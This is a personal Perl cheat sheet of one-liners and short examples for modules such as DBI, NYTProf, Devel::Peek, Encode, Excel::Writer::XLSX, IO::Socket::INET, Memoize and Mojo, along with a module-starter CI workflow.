perl -Me -MData::Trace -E 'get("Kernel::System::Cache")->Set( Type => "Ticket", Key => "ABC", Value => [1..3] ); Data::Trace->Trace( get("Kernel::System::Cache") ); get("Kernel::System::Cache")->Delete( Type => "Ticket", Key => "ABC" )'
#############################################################
## Perl Modules - DBD::mysql
#############################################################
# Bug in DBD::mysql before version 5.007:
#
cpanm DBD::mysql@5.006
perl -Me2 -e '$d = get("Kernel::System::DB"); $d->Connect; $d->Disconnect; $d->Connect; say "END"'
ConnectCached
Disconnect
ConnectCached
Segmentation fault (core dumped)
#
cpanm DBD::mysql@5.007
perl -Me2 -e '$d = get("Kernel::System::DB"); $d->Connect; $d->Disconnect; $d->Connect; say "END"'
ConnectCached
Disconnect
ConnectCached
END
#############################################################
## Perl Modules - DBI
#############################################################
# How to connect to database using perl DBI (postgres,sample,sql)
perl -MDBI -E '$dbh = DBI->connect("DBI:Pg:dbname=$db; host=127.0.0.1", "$user", "$pass", {RaiseError => 1}) or die $DBI::errstr; say "\nOpened db successfully!\n"'
# How to query information from a database using perl (postgres,sample,sql)
perl -MDBI -E 'sub Die { die $DBI::errstr } $dbh = DBI->connect("DBI:Pg:$db=srto_8_0; host=127.0.0.1", "$user", "$pass", {RaiseError => 1}) or Die; $sth = $dbh->prepare(q(SELECT * from MyTable;)) or Die; $sth->execute() or Die; while(@row = $sth->fetchrow_array()){ say "@row" }
# Fetchbdata from SQLite database.
perl -MDBI -E 'my $dbh = DBI->connect("DBI:SQLite:kjv.bbl.mybible", '', '', {RaiseError => 1}); my $sth = $dbh->prepare("select * from Bible limit 3"); $sth->execute; while(my @row = $sth->fetchrow_array ){ say "@row" } $dbh->disconnect'
perl -MDBI -E 'my $dbh = DBI->connect("DBI:SQLite:kjv.bbl.mybible", '', '', {RaiseError => 1}); my $all = $dbh->selectall_arrayref("select * from Bible limit 3"); for my $row ( @$all ){ say "@$row" } $dbh->disconnect'
perl -MDBI -E 'my $dbh = DBI->connect("DBI:SQLite:kjv.bbl.mybible", '', '', {RaiseError => 1}); for my $row ( $dbh->selectall_array("select * from Bible limit 3") ){ say "@$row" } $dbh->disconnect'
# View install drivers for DBI.
perl -MDBI -E 'say for DBI::available_drivers'
# Example using selectrow_hashref.
perl -MData::Printer -MDBI -E 'my $t=shift; my $d = DBI->connect("DBI:SQLite:$t"); my $r = $d->selectrow_hashref("select * from details"); p $r' $t
#############################################################
## Perl Modules - DBI::Profile
#############################################################
# Profile SQL statements in perl DBI.
# Install and export.
cpanm DBI::Profile
export DBI_PROFILE='!Statement'
#
# Report explicitly (instead of on DESTROY)
DBI->trace(1, $DBITraceOutput);
# Simple way to profile MYSQL.
DBI_PROFILE=2 otrs_mysql "select login from users"
# Run the DBI profiler during runtime.
$ENV{DBI_PROFILE} = "!Statement";
require DBI::Profile;
$dbh->{Profile} = DBI::Profile->new();
#############################################################
## Perl Modules - Devel::NYTProf
#############################################################
# Install NYTProf profiler for perl
sudo apt-get install libdevel-nytprof-perl
# Run profiler
perl -d:NYTProf fetch_excel t/data/1-7.xls abc
nytprofhtml
w3m nytprof/index.html
iceweasel nytprof/index.html
# Profile a perl program
cd ~/<USER>/Excel
perl -d:NYTProf fetch_excel Data/1-7.xls 1.7.15
nytprofhtml -o Profiling # View Profiling/index.html in internet explorer
# NYTProf writing to a file.
use Devel::NYTProf qw();
use File::Path qw();
File::Path::make_path($Dir);
#
DB::enable_profile($newfile); # Create or truncate existing file.
DB::enable_profile(); # Append to same file.
#
# Run slow code.
#
DB::finish_profile(); # Stop writing to file.
# NYTProf environment setup.
export PERL5OPT=-d:NYTProf
export NYTPROF='trace=1:start=no'
perl my_script.pl
unset PERL5OPT
unset NYTPROF
# Save nytprof.out to another location.
NYTPROF="file=/tmp/nytprof.out"
# Error when profiling
# Profile data incomplete, inflate error -5 ((null)) at end of input file
#
# Make sure not to run the nytprofhtml command in the same window as:
export NYTPROF='trace=1:start=no'
# Issues: Do NOT "use Devel::NYTProf"!
# It would load the profiler always!
_perl_profiler_setup/_perl_profiler_restore
perl -e 'use Devel::NYTProf'
#
# Instead if needed, use a conditional require.
_perl_profiler_setup/_perl_profiler_restore
perl -e 'require Devel::NYTProf if $ENV{NYTProf}'
#############################################################
## Perl Modules - Devel::Peek
#############################################################
# Examine a data structure of variables in C code
perl -MDevel::Peek -le '$a=15; print Dump($a)'
# Capture Devel::Peek::Dump output to a file.
perl -MDevel::Peek -E 'open my $fd2, ">&=STDERR"; open $fd2, ">", "out.txt"; say fileno($fd2); Dump(undef)'
#
# This would change fd to 3 (Does NOT work!)
perl -MDevel::Peek -E 'open my $fd2, ">&=STDERR"; close $fd2; open $fd2, ">", "out.txt"; say fileno($fd2); Dump(undef)'
# Capture Devel::Peek::Dump output to a variable.
# This one does NOT work!
perl -MDevel::Peek -E 'open my $fd2, ">&=STDERR"; open $fd2, ">", \$var; say fileno($fd2); Dump(undef); close $fd2; say "[$var]"'
#
# This would change fd to -1 (Does NOT work!)
perl -MDevel::Peek -E 'open my $fd2, ">&=STDERR"; close $fd2; open $fd2, ">", \$var; say fileno($fd2); Dump(undef); close $fd2; say "[$var]"'
#
# This uses a tempfile (WORKS!)
# (Dump disables autoflush. need to close the file.)
perl -Mstrict -Mwarnings -MDevel::Peek -MFile::Temp -E 'my $tmp = File::Temp->new; open my $fh, ">&=STDERR"; open $fh, ">", "$tmp"; say fileno($fh); Dump(undef); say $fh 123; close $fh; open $fh, "<", "$tmp" or die $!; while(<$fh>){chomp; say "[$_]"} say "$tmp"'
#############################################################
## Perl Modules - Devel::REPL
#############################################################
# Using a read,evaluate,print,loop in perl.
perl -MDevel::REPL -E '
my $my_var = 111;
our $our_var = 222;
my $repl = Devel::REPL->new;
$repl->load_plugin($_) for qw(
History
LexEnv
DDS
Colors
Completion
CompletionDriver::INC
CompletionDriver::LexEnv
CompletionDriver::Keywords
CompletionDriver::Methods
);
$repl->run;
'
#############################################################
## Perl Modules - Devel::Size
#############################################################
# Find out the size of variables.
use Devel::Size qw( total_size );
say "size: " . total_size($bytes);
#############################################################
## Perl Modules - Email::Address::XS
#############################################################
# Example of using Email::Address::XS
perl -Mojo -MEmail::Address::XS -E 'say r $_ for Email::Address::XS->parse("First Last email\@localhost")'
bless( {
"comment" => undef,
"host" => undef,
"invalid" => 1,
"original" => "First ",
"phrase" => undef,
"user" => "First"
}, 'Email::Address::XS' )
#############################################################
## Perl Modules - Email::Outlook::Message
#############################################################
# Parse an outlook message .msg file
perl -MEmail::Outlook::Message -le 'print Email::Outlook::Message->new(shift)->to_email_mime->as_string' "$m"
#############################################################
## Perl Modules - Enbugger
#############################################################
# Using a read,evaluate,print,loop in perl.
# Not updated since 2014 and failing to build.
#############################################################
## Perl Modules - Encode
#############################################################
# Example of using Encode to show string in different supported encodings (broken).
perl -C -MEncode -E '$s1="Ue: Ü"; $s2="Euro: \N{EURO SIGN}"; for ( encodings ) { printf "%-15s: [%-7s] [%s]\n", $_, encode($_,$s1), encode($_,$s2) }'
# Why use Encode?
perl -E 'say "\xe1"' # �
perl -C -E 'say "\xe1"' # á
perl -MEncode -E 'say encode "UTF-8", "\xe1"' # á
perl -MEncode -E 'use open ":std", ":encoding(UTF-8)"; say "\xe1"' # á
perl -MEncode -E 'use open qw(:std :utf8); say "\xe1"' # á
# Mixed up encoding.
perl -MEncode -E '$s = encode("UTF-8","é", Encode::FB_CROAK|Encode::LEAVE_SRC); say length($s) . " $s"'
4 é
perl -C -MEncode -E '$s = encode("UTF-8","é", Encode::FB_CROAK|Encode::LEAVE_SRC); say length($s) . " $s"'
4 é
perl -Mutf8 -MEncode -E '$s = encode("UTF-8","é", Encode::FB_CROAK|Encode::LEAVE_SRC); say length($s) . " $s"'
2 é
perl -C -Mutf8 -MEncode -E '$s = encode("UTF-8","é", Encode::FB_CROAK|Encode::LEAVE_SRC); say length($s) . " $s"'
2 é
# Decoding example.
perl -C -MEncode -E 'say decode("UTF-8", chr(0xc3).chr(0xa9), Encode::FB_CROAK)'
é
#############################################################
## Perl Modules - Excel::Writer::XLSX
#############################################################
# Excel - Simple: Generate a blank xlsx file
perl -MExcel::Writer::XLSX -E "$wb = Excel::Writer::XLSX->new('my.xlsx'); $wb->close"
# Excel - Simple: Check for errors openning an excel file and write to a cell
# Also rename the worksheet
perl -MExcel::Writer::XLSX -E "$wb = Excel::Writer::XLSX->new('my.xlsx') or die qq($!\n); $ws = $wb->add_worksheet('my'); $ws->write('A1', 'Hello Excel'); $wb->close"
# Excel - Simple: Add a format to make a cell bold
perl -MExcel::Writer::XLSX -E "$wb = Excel::Writer::XLSX->new('my.xlsx') or die qq($!\n); $ws = $wb->add_worksheet('my'); $format = $wb->add_format; $format->set_bold; $ws->write(0, 0, 'Hello Excel', $format); $wb->close"
# Create a spreadsheet/excel with formulas using perl (only on lnxbr42)
perl -MExcel::Writer::XLSX -le '
$wb=Excel::Writer::XLSX->new("new.xlsx");
$ws=$wb->add_worksheet;
$ws->write("A1","In Excel");
$ws->write("B2",3);
$ws->write("B3",4);
$ws->write("B4","=B2+B3");
$ws->write("B5","=SUM(B2:B4)");
$wb->close
'
# Create a spreadsheet/excel with color formats using perl (only on lnxbr42)
perl -MExcel::Writer::XLSX -le '
$wb=Excel::Writer::XLSX->new("new2.xlsx");
$ws=$wb->add_worksheet;
$format=$wb->add_format(color => 'red');
$ws->write("A1","No Color");
$ws->write("A2","Red Color", $format);
$wb->close
'
# Create a spreadsheet/excel with color formats using perl (only on lnxbr42). same thing
perl -MExcel::Writer::XLSX -le '
$wb=Excel::Writer::XLSX->new("new2.xlsx");
$ws=$wb->add_worksheet;
$ws->write("A1","No Color");
$ws->write("A2","Red Color", $wb->add_format(color => 'red'));
$wb->close
'
#############################################################
## Perl Modules - File::Copy
#############################################################
# Copy using perl
perl -MFile::Copy -lE 'copy("abc2","abc3")'
#############################################################
## Perl Modules - File::Find
#############################################################
# find2perl.pl script.
use File::Find;
use e;
our ($name);
*name = *File::Find::name;
*find = *File::Find::find;
find( {
wanted => sub { say $name if /tri/ },
},
'.'
);
#############################################################
## Perl Modules - File::Tee
#############################################################
# Writing to multiple filehandles
# Bug: does not work with crontab
#
# Better to do this instead:
open STDOUT, "| tee -a $log" or die $!;
open STDERR, "| tee -a $log" or die $!;
#############################################################
## Perl Modules - File::Temp
#############################################################
# Perl Modules - File::Temp
# In recent releases, Perl’s open function offers a
# simple way to create temporary files whose names
# you cannot know.
# Explicitly pass undef as the filename to open:
open(my $fh, "+>", undef)
or die "$0: can't create temporary file: $!\n";
#############################################################
## Perl Modules - Filter::Simple
#############################################################
# Filter::Simple example.
# Change.pm:
package Change;
use Filter::Simple sub{s/abc/ABC/};
1;
#
# Main.pm:
use Change;
print "abcde\n";
#############################################################
## Perl Modules - FindBin
#############################################################
# Perl operator qw does not interpolate variables
# FindBin qw($bin) same as:
# FindBin '$Bin'
perl -le '$a="A"; print for qw/$a $b c/'
#############################################################
## Perl Modules - Getopt::Long
#############################################################
# Extract command line options using a library
perl -MGetopt::Long -MData::Dumper -le 'GetOptions(\%opts, "delim=s"); print Dumper \%opts' 5 3 02 .4f --delim=,
# Get the command line options (perl)
# Option can be used like this:
# -r
# -r VALUE
#
GetOptions(\%opts,
"debug|s",
"quiet|q",
"recursive|r:s", # Takes optional string
);
for($opts{recursive}){
if(defined){ $_ ||= "DEFAULT" } # If blank, use default
else { $_ = 0 } # Do not use option
}
# Pull out flags and data in Perl (command line options, function)
my $is_flag = qr/^ --? (\w[-\w]*) (?:= ([\w,]+) )? $/x;
for(splice @ARGV){
if(/$is_flag/){ $flags{$1} = $2 // 1 }
else { push @data, $_ }
}
#############################################################
## Perl Modules - Hash::Util
#############################################################
# Perl bucket ratio (hash in scalar content)
perl -MHash::Util=bucket_ratio -le "%h=qw(a 1 b 2 c 3 d 4 e 5 f 6); print bucket_ratio %h"
#############################################################
## Perl Modules - Hook::LexWrap
#############################################################
# Wrap a subroutine and see the input and output
perl -MHook::LexWrap -le 'wrap 'abc', pre => sub{print "pre: [@_[0..$#_-1]]"}, post => sub{print "post: [@{$_[-1]}]"}; sub abc{my($a,$b)=@_; $a+$b} print abc 2,3'
# Wrap a subroutine and see the input and output. modify results
perl -MHook::LexWrap -le 'wrap 'abc', post => sub{$_[-1] = 8}; sub abc{my($a,$b)=@_; $a+$b} print abc 2,3'
# Wrap and unwrap all class functions. (idea)
perl -MModule::Functions=get_full_functions -MHook::LexWrap -MB -E '$class = "MyClass"; my @unwrap = map wrap($_, pre => sub{ my @c=caller; say "[@c] " . B::svref_2object(__SUB__)->GV->NAME; my @c2 = CORE::caller; say "@c"; }), sort {$a cmp $b} map { "$class\::$_" } grep { UNIVERSAL::can("$class", $_) } grep { /[a-z]/ } get_full_functions $class; $_->() for@unwrap; say $class->abc("from main", "from main2");'
#############################################################
## Perl Modules - HTML::Tree
#############################################################
# Reduce Data::Dumper to the first layer of depth
perl -MHTML::Tree -MData::Dumper -le 'sub pr{my $d=Data::Dumper->new(\@_)->Sortkeys(1)->Terse(1)->Indent(1)->Maxdepth(1); print $d->Dump} $t=HTML::Tree->new_from_file("rakudo2.html"); $f=$t->look_down(qw/_tag td/); pr $_ for $f'
# Extract text from HTML
perl -MHTML::Tree -le '$t=HTML::Tree->new_from_file("rakudo2.html"); $f=$t->find(qw/tr td table/); print $f->as_text'
# Extract latest href download link from an html document
perl -MHTML::Tree -le '$t=HTML::Tree->new_from_file("rakudo.html"); print $_->attr("href") for ($t->look_down(class => "ext-gz"))[0]'
perl -MHTML::Tree -le '$t=HTML::Tree->new_from_file("rakudo.html"); print $t->look_down(class => "ext-gz")->attr("href")'
#############################################################
## Perl Modules - Inline::C
#############################################################
# Example of using Inline::C in perl
use Inline "C";
use Inline "NOCLEAN"; # Keep build library.
print triple(5);
__END__
__C__
int triple(int num) {
return num * 3;
}
# Inline::C oneliner
perl -MInline='C,int triple(int num){ return num * 3; }' -E 'say triple 4'
# Inline::C oneliner (Keep build library)
perl -MInline=NOCLEAN -MInline='C,int triple(int num){ return num * 3; }' -E 'say triple 4'
#############################################################
## Perl Modules - IO::Select
#############################################################
# Simple example of Perl Modules - IO::Select
perl -MIO::Select -E 'say *STDOUT; say fileno(*STDOUT); my $s = IO::Select->new( \*STDIN ); say $s->can_read(0.5)'
*main::STDOUT
1
#############################################################
## Perl Modules - IO::Socket::INET
#############################################################
# Simple perl client using IO::Socket::INET.
use IO::Socket::INET;
if(@ARGV < 2 or $ARGV[0] =~ /^\d$/){
print "\n Syntax: client {add,sub} {numbers}\n\n";
exit 1;
}
my $socket = new IO::Socket::INET(
PeerHost => 'localhost',
PeerPort => 171717,
) or die $!;
print $socket $_ for @ARGV, "END";
my $data = <$socket>; chomp $data;
print "Sum: $data";
$socket->close;
# Simple perl server using IO::Socket::INET.
use IO::Socket::INET;
my %act = (
add => sub{ my($m,$n)=@_; $m+$n },
sub => sub{ my($m,$n)=@_; $m-$n },
);
my $socket = IO::Socket::INET->new(
LocalHost => 'localhost',
LocalPort => '171717',
Listen => 5,
Reuse => 1,
) or die $!;
print "Started Server ...";
while(1){
my $client_socket = $socket->accept;
printf "\nSomeone connected on port=%s, address=%s\n",
$client_socket->peerhost,
$client_socket->peerport;
my $op = <$client_socket>; chomp $op;
my $sum = <$client_socket>; chomp $sum;
print "\nStarting with $sum";
while(<$client_socket>){
chomp;
last if /END/;
next unless /^\d+$/ and $act{$op};
$sum = $act{$op}( $sum, $_ );
printf "%s %s = %s\n", $op, $_, $sum;
}
print "Sum: $sum";
print $client_socket $sum;
}
$socket->close;
#############################################################
## Perl Modules - IPC::Open2, IPC::Open3
#############################################################
# Simple example of capturing STDOUT and STDERR separately in perl.
perl -MSymbol=gensym -MIPC::Open3 -E 'my $pid = open3( my $in_fh, my $out_fh, my $err_fh = gensym(), "echo OUT; echo ERR >&2" ); while(<$err_fh>){ chomp; say}'
#
# STDERR goes to the same place.
perl -MIPC::Open3 -E '$pid = open3( $in_fh, $out_fh, ">&STDERR", "echo OUT; echo ERR >&2; exit 123" ); waitpid( $pid, 0 ); my $error = $? >> 8; say "error=$error"; if($error){ while(<$out_fh>){ print } }'
perl -MIPC::Open2 -E '$pid = open2( $out_fh, $in_fh, "echo OUT; echo ERR >&2; exit 1" ); waitpid( $pid, 0 ); my $error = $? >> 8; say "error=$error"; if($error){ while(<$out_fh>){ print } }'
# IPC::Open3 Bug?!
perl -MFile::Temp=tempfile -MIPC::Open3 -E '($fh,$file)=tempfile(); print $fh "1234567890"x10000; close $fh; $pid = open3( $in_fh, $out_fh, ">&STDERR", "cat $file" ); waitpid( $pid, 0 ); say "DONE $file"'
#############################################################
## Perl Modules - IPC::SysV
#############################################################
# Create a new SysV IPC stream
perl -MIPC::SysV=IPC_PRIVATE,IPC_CREAT,S_IRUSR,S_IWUSR -le 'print msgget(IPC_PRIVATE, IPC_CREAT | S_IRUSR | S_IWUSR)'
#############################################################
## Perl Modules - JavaScript::Minifier::XS
#############################################################
# Minify a javascript file
perl -MJavaScript::Minifier::XS=minify -e "open IN, 'operation-add.js'; open OUT, '>', 'operation-add.min.js'; {local $/; $d=<IN>} print OUT minify($d)"
#############################################################
## Perl Modules - JSON
#############################################################
# Read a json file in perl
perl -MJSON -le "open FH, 'my.json'; local $/; $raw=<FH>; $d = from_json($raw)->{KEY}; print for @$d"
#############################################################
## Perl Modules - Lingua::EN::Tagger
#############################################################
# Add tags to text
perl -MLingua::EN::Tagger -le '$p=Lingua::EN::Tagger->new; print for $p->add_tags("I like food. I like food")'
perl -MLingua::EN::Tagger -le '$p=Lingua::EN::Tagger->new; print for $p->get_readable("I like food. I like food")'
# View natural language lexicon (on lnxbr42)
cd /usr/share/perl5/Lingua/EN/Tagger
perl -MData::Dumper -MStorable -le '$T=retrieve "pos_tags.hash"; print Dumper $T->{pp}'
perl -MData::Dumper -MStorable -le '$W=retrieve "pos_words.hash"; print Dumper $W->{I}'
# Find how likely a certain word is a particular part of speech
cd /usr/share/perl5/Lingua/EN/Tagger
perl -MStorable -le '$W=(retrieve "pos_words.hash")->{I}; $T=(retrieve "pos_tags.hash")->{pp}; print for reverse sort map{ ${$W->{$_}} * $T->{$_} . " $_" } keys $W'
#############################################################
## Perl Modules - List::Util
#############################################################
# Perl Modules - List::Util
# Shuffle the elements of an array.
use List::Util qw(shuffle);
@array = shuffle(@array);
#
# or for a single value
$value = $array[ int(rand(@array)) ];
# Perl Modules - List::Util reduce mimic.
sub My::reduce (&@) {
my $code = shift;
no strict 'refs';
return shift unless @_ > 1;
use vars qw($a $b);
my $c = caller;
local(*{$c."::a"}) = \my $a;
local(*{$c."::b"}) = \my $b;
$a = shift;
foreach (@_) {
$b = $_;
$a = &{$code}();
}
$a;
}
*reduce = *My::reduce;
# print "def2" if defined *reduce{CODE};
print My::reduce {$a + $b} 1..10;
__END__
55
# Perl Modules - List::Util reduce mimic.
sub My::reduce(&@) {
my $sub = shift;
while( @_ > 1 ) {
unshift @_, $sub->(shift, shift);
}
$_[0];
}
print My::reduce {$_[0] + $_[1]} 1..10;
__END__
55
#############################################################
## Perl Modules - Locale::Country
#############################################################
# Build key value lookup table of all country codes.
perl -MLocale::Country -E 'say uc "$_: " . code2country($_) for all_country_codes'
#############################################################
## Perl Modules - Lock::File
#############################################################
# Simple module for locking a file. (exclusive,shared)
perl -MLock::File=lockfile -E 'my $lock = lockfile("my.lock7") or die $!; sleep 100000'
perl -MLock::File=lockfile -E 'my $lock = lockfile("my.lock7", {shared => 1}) or die $!; sleep 100000'
#############################################################
## Perl Modules - LWP
#############################################################
# Send a post request (LWP)
u="http://pythonscraping.com/pages/files/processing.php"
perl -MLWP -le '$u=shift; $ua=LWP::UserAgent->new; $ua->env_proxy; $rc=$ua->post($u,{qw/^Crstname FIRST lastname LAST/}); print $rc->content' $u
#############################################################
## Perl Modules - LWP::UserAgent
#############################################################
# Get http request. practice using LWP::UserAgent
perl -MLWP::UserAgent -MData::Dumper -le '$u="http://www.google.com"; $ua=LWP::UserAgent->new; $ua->env_proxy; $r=$ua->get($u); print $r->header("Server")'
#############################################################
## Perl Modules - Mail::Address
#############################################################
# Example of using Mail::Address.
perl -Mojo -MMail::Address -E 'say r $_ for Mail::Address->parse("First Last email\@localhost")'
bless( [
"",
"First",
""
], 'Mail::Address' )
bless( [
"",
"Last",
""
], 'Mail::Address' )
bless( [
"",
"email\@localhost",
""
], 'Mail::Address' )
#############################################################
## Perl Modules - Math::Combinatorics
#############################################################
# Get permutations of lists (make a table).
perl -lE '$_="{0,1}"x3; say for glob'
perl -E 'say for glob "{A,B}{1,2}"'
perl -lE 'say for glob "{0,1}{0,1}{0,1}{0,1}"'
perl -MMath::Combinatorics=permute -lE 'say for map{"@$_"} permute(qw/a b c/)'
#############################################################
## Perl Modules - Math::Expression
#############################################################
# Perl Modules - Math::Expression example
perl -MMath::Expression -E 'my $m = Math::Expression->new; say $m->ParseToScalar("Dog := 4; Chicken := 2; Dog + Chicken")'
6
# 0,5 versus 0.5 in a math expression.
perl -MMath::Expression -Mojo -E 'my $m = Math::Expression->new; my $tree = $m->Parse("0,5 - 5"); say r $tree'
{
"after" => 1,
"left" => {
"oper" => "const",
"type" => "num",
"val" => 0
},
"oper" => ",",
"right" => {
"after" => 1,
"left" => {
"oper" => "const",
"type" => "num",
"val" => 5
},
"oper" => "-",
"right" => {
"oper" => "const",
"type" => "num",
"val" => 5
}
}
}
tim@timPC ~ ➜ perl -MMath::Expression -Mojo -E 'my $m = Math::Expression->new; my $tree = $m->Parse("0.5 - 5"); say r $tree'
{
"after" => 1,
"left" => {
"oper" => "const",
"type" => "num",
"val" => "0.5"
},
"oper" => "-",
"right" => {
"oper" => "const",
"type" => "num",
"val" => 5
}
}
#############################################################
## Perl Modules - Math::Factoring
#############################################################
# Factoring a number to get the prime numbers
perl -MMath::Factoring=factor -E "say for factor 666"
#############################################################
## Perl Modules - Memoize
#############################################################
# In-Memory storage/cache using Memoize.
# Output depends entirely on input args.
perl -Me -e '
package Other;
use e;
sub Add {
trace();
my ($num1,$num2) = @_;
return $num1 + $num2;
}
package main;
use Memoize;
memoize("Other::Add");
say(Other::Add(2,3)) for 1..3;
'
[2024/05/10-10:22:08.164] --> [2] Add ...
5
5
5
# In-Memory storage/cache using Memoize.
# Normalize if the output is not enturely dependent upon
# the input (something found in $self)
perl -Me -e '
package Other;
use e;
sub Add {
trace();
my ($self,$num) = @_;
return $self->{num} + $num;
}
package main;
use Memoize;
memoize(
"Other::Add",
NORMALIZER => sub {
my ($self,$num) = @_;
join "::", $self->{num}, $num;
}
);
my $obj = bless { num => 2 }, "Other";
say($obj->Add(3)) for 1..3;
$obj->{num} = 4;
say($obj->Add(3)) for 1..3;
'
[2024/05/10-10:22:08.164] --> [2] Add ...
5
5
5
[2024/05/10-10:22:08.175] --> [2] Add ...
7
7
7
#############################################################
## Perl Modules - Memoize::Storable
#############################################################
# Persistent cache using Memoize::Storable
#############################################################
## Perl Modules - Modern::Perl
#############################################################
# Modern::Perl defaults to v5.12 (bug!?)
perl -E 'say $^V'
v5.36.0
perl -Modern::Perl -e 'say Modern::Perl::validate_date(2022)'
:5.34
perl -Modern::Perl -e 'say Modern::Perl::validate_date()'
:5.12
perl -E 'sub abc ($n) {$n}'
perl -Modern::Perl=2022 -e 'sub abc ($n) {$n}'
perl -Modern::Perl -e 'sub abc ($n) {$n}'
Illegal character in prototype for main::abc : $n at -e line 1.
Global symbol "$n" requires explicit package name (did you forget to declare "my $n"?) at -e line 1.
Execution of -e aborted due to compilation errors.
#############################################################
## Perl Modules - Module::CoreList, corelist
#############################################################
# Find perl module
perl -MModule::CoreList -le 'print for Module::CoreList->find_modules("Class")'
cpan -l | grep -e '^Class'
# Find all available modules for a certain version
perl -MModule::CoreList -le 'print for Module::CoreList->find_modules(/5.010/)'
# Find find release of a perl module
corelist Data::Dumper
# Find all release versions of a perl module
corelist -a Data::Dumper
# Find the release date of a perl version
corelist -r 5.005 # Perl 5.005 was released on 1998-07-22
# Find modules installed with a specific
# perl version.
corelist –v 5.038
#############################################################
## Perl Modules - Module::Refresh
#############################################################
# Perl Modules - Module::Refresh
# My.pm:
#
#!/usr/bin/env perl
package My;
use strict;
use warnings;
use parent qw( Exporter );
our @EXPORT = qw( Run );
sub Run { print "111\n" }
1;
#
perl -I. -MModule::Refresh -E 'use My; Run(); say qq(before: $INC{"My.pm"}); Module::Refresh->refresh_module("My.pm"); say qq(after: $INC{"My.pm"}); Run()'
111
before: My.pm
after: My.pm
Undefined subroutine called at -e line 1.
# Cannot undef, delete, and require a subroutine.
# My.pm:
package My;
sub Run { print "111\n" }
1;
#
perl -e '
require My;
My->Run();
undef &My::Run;
delete $My::{Run};
require My; Run();
'
111
Undefined subroutine called at -e line 1.
#############################################################
## Perl Modules - Module::Starter
#############################################################
# Create a new distribution in perl abd run it.
x2hs -X Example # Pure Perl
h2xs -A -n Example # XS
perl Makefile.PL
make
perl -Mblib -MExample2 -E 'Example2::print_hello()'
# Using -Mblib is similar to using:
perl -Iblib/lib -Iblib/arch -MExample2 -e 'Example2b::print_hello'
# Create a new distribution in perl.
module-starter --module=My::Test --distro=my-test --author="AUTHOR" --email="EMAIL" --mb --verbose
# Additional folder preparation (module-starter)
mv App-Pod/* .
rmdir App-Pod
mv ignore.txt .gitignore
echo "*.swp" >> .gitignore
chmod +x Build.PL
# Remove MYMETA.* and META.*
#
# Prepend to Build.PL
"#!/bin/env perl
"
# Additional folder preparation (module-starter)
# Add to Build.PL
meta_merge => {
resources => {
bugtracker => 'https://github.com/poti1/data-trace/issues',
repository => 'https://github.com/poti1/data-trace',
},
},
# Additional folder preparation (module-starter)
# Create: .github/workflows/ci.yml
---
name: build and test
on:
push:
branches:
- "*"
pull_request:
branches:
- "*"
workflow_dispatch:
jobs:
build-job:
name: Build distribution
runs-on: ubuntu-20.04
container:
image: perldocker/perl-tester:5.38
steps:
- uses: actions/checkout@v4
- name: Run Tests
env:
AUTHOR_TESTING: 1
AUTOMATED_TESTING: 1
EXTENDED_TESTING: 1
RELEASE_TESTING: 1
run: auto-build-and-test-dist
- uses: actions/upload-artifact@v4
with:
name: build_dir
path: build_dir
if: ${{ github.actor != 'nektos/act' }}
coverage-job:
needs: build-job
runs-on: ubuntu-20.04
container:
image: perldocker/perl-tester:5.38
steps:
- uses: actions/checkout@v4 # codecov wants to be inside a Git repository
- uses: actions/download-artifact@v4
with:
name: build_dir
path: .
- name: Install deps and test
run: cpan-install-dist-deps && test-dist
env:
CODECOV_TOKEN: ${{secrets.CODECOV_TOKEN}}
test-job:
needs: build-job
strategy:
fail-fast: true
matrix:
os: [ubuntu-latest, macos-latest, windows-latest]
distribution: [default, strawberry]
perl-version:
- "5.24"
- "5.26"
- "5.28"
- "5.30"
- "5.32"
- "5.34"
- "5.36"
- "5.38"
exclude:
- { os: windows-latest, distribution: default }
- { os: macos-latest, distribution: strawberry }
- { os: ubuntu-latest, distribution: strawberry }
- { distribution: strawberry, perl-version: "5.8" }
- { distribution: strawberry, perl-version: "5.10" }
- { distribution: strawberry, perl-version: "5.12" }
- { distribution: strawberry, perl-version: "5.34" }
- { distribution: strawberry, perl-version: "5.36" }
runs-on: ${{ matrix.os }}
name: on ${{ matrix.os }} perl ${{ matrix.perl-version }}
steps:
- name: set up perl
uses: shogo82148/actions-setup-perl@v1.28.0
with:
perl-version: ${{ matrix.perl-version }}
distribution: ${{ matrix.distribution }}
- uses: actions/download-artifact@v4
with:
name: build_dir
path: .
- name: install deps using cpanm
uses: perl-actions/install-with-cpanm@v1
with:
cpanfile: "cpanfile"
args: "--with-suggests --with-recommends --with-test"
- run: prove -lr t
env:
AUTHOR_TESTING: 0
RELEASE_TESTING: 0
# Additional folder preparation (module-starter)
# Add meta files.
Build manifest
Build manifest_skip
Build distmeta
Build distcheck
# Build and run a perl distribution (module-starter)
Build.PL
Build # Can use tab completion.
Build test
RELEASE_TESTING=1 Build test
Build disttest
Build dist
#############################################################
## Perl Modules - Mojo
#############################################################
# Mojo DSL
monkey_patch $caller,
a => sub { $caller->can('any')->(@_) and return $ua->server->app },
b => \&b,
c => \&c,
d => sub { $ua->delete(@_)->result },
f => \&path,
g => sub { $ua->get(@_)->result },
h => sub { $ua->head(@_)->result },
j => \&j,
l => sub { Mojo::URL->new(@_) },
n => sub (&@) { say STDERR timestr timeit($_[1] // 1, $_[0]) },
o => sub { $ua->options(@_)->result },
p => sub { $ua->post(@_)->result },
r => \&dumper,
t => sub { $ua->patch(@_)->result },
u => sub { $ua->put(@_)->result },
x => sub { Mojo::DOM->new(@_) };
}
# Download a PDF file using Perl
# Will not download if it is already up to date. (by etag)
perl -Mojo -E "my $q=chr 34; sub get_etag($tx){ $tx->result->headers->etag =~ s/^$q|$q$//gr; } my $ua = Mojo::UserAgent->new; my $url = Mojo::URL->new('https://hop.perl.plover.com/book/pdf/HigherOrderPerl.pdf'); my $f = $url->path->parts->[-1]; my $t = (stat($f))[9]; my $d = Mojo::Date->new($t); my $tx = $ua->head($url); my $etag = get_etag($tx); my $dir = Mojo::File->new('etag-cache')->make_path; my $path = $dir->child($etag); if(not -e $path){ my $tx = $ua->get($url); my $etag = get_etag($tx); $tx->result->save_to($f); open my $fh, '>', $path or die $! }"
# Fetch latest unicode characters (Windows)
